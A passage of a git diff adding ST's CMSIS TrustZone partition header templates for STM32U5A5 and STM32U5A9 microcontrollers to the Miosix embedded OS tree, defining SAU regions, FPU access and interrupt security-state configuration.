1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + + #if defined (NVIC_INIT_ITNS4) && (NVIC_INIT_ITNS4 == 1U) + NVIC->ITNS[4] = NVIC_INIT_ITNS4_VAL; + #endif + +} + +#endif /* PARTITION_STM32U599XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5a5xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5a5xx.h new file mode 100644 index 000000000..46d90be00 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5a5xx.h @@ -0,0 +1,687 @@ +/** + ****************************************************************************** + * @file partition_stm32u5a5xx.h + * @author MCD Application Team + * @brief CMSIS STM32U5A5xx Device Initial Setup for Secure / Non-Secure Zones + * for ARMCM33 based on CMSIS CORE partition_ARMCM33.h Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32U5A5XX_H +#define PARTITION_STM32U5A5XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C1FE000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C1FFFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08200000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x083FFFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x200D0000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x2026FFFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x60000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0xAFFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_PVM_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// SAES_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART2_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// TIM16_IRQn <0=> Secure state <1=> Non-Secure state +// TIM17_IRQn <0=> Secure state <1=> Non-Secure state +// COMP_IRQn <0=> Secure state <1=> Non-Secure state +// OTG_HS_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// FMC_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// PWR_S3WU_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel8_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel9_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel10_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel11_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel12_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel13_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel14_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel15_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SAI1_IRQn <0=> Secure state <1=> Non-Secure state +// SAI2_IRQn <0=> Secure state <1=> Non-Secure state +// TSC_IRQn <0=> Secure state <1=> Non-Secure state +// AES_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..127) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..127 +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// PKA_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM3_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_EV_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT0_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT1_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT3_IRQn <0=> Secure state <1=> Non-Secure state +// UCPD1_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// OTFDEC1_IRQn <0=> Secure state <1=> Non-Secure state +// OTFDEC2_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM4_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE1_IRQn <0=> Secure state <1=> Non-Secure state +// ADF1_IRQn <0=> Secure state <1=> Non-Secure state +// ADC4_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// DMA2D_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT4_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT5_IRQn <0=> Secure state <1=> Non-Secure state +// CORDIC_IRQn <0=> Secure state <1=> Non-Secure state +// FMAC_IRQn <0=> Secure state <1=> Non-Secure state +// LSECSSD_IRQn <0=> Secure state <1=> Non-Secure state +// USART6_IRQn <0=> Secure state <1=> Non-Secure state +// I2C5_ER_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +/ Initialize ITNS 4 (Interrupts 128..131) +*/ +#define NVIC_INIT_ITNS4 1 + +/* +// Interrupts 128..131 +// I2C5_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_EV_IRQn <0=> Secure state <1=> Non-Secure state +// HSPI1_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS4_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + + #if defined (NVIC_INIT_ITNS4) && (NVIC_INIT_ITNS4 == 1U) + NVIC->ITNS[4] = NVIC_INIT_ITNS4_VAL; + #endif + +} + +#endif /* PARTITION_STM32U5A5XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5a9xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5a9xx.h new file mode 100644 index 000000000..fe174a02b --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5a9xx.h @@ -0,0 +1,694 @@ +/** + ****************************************************************************** + * @file partition_stm32u5a9xx.h + * @author MCD Application Team + * @brief CMSIS STM32U5A9xx Device Initial Setup for Secure / Non-Secure Zones + * for ARMCM33 based on CMSIS CORE partition_ARMCM33.h Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32U5A9XX_H +#define PARTITION_STM32U5A9XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C1FE000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C1FFFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08200000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> 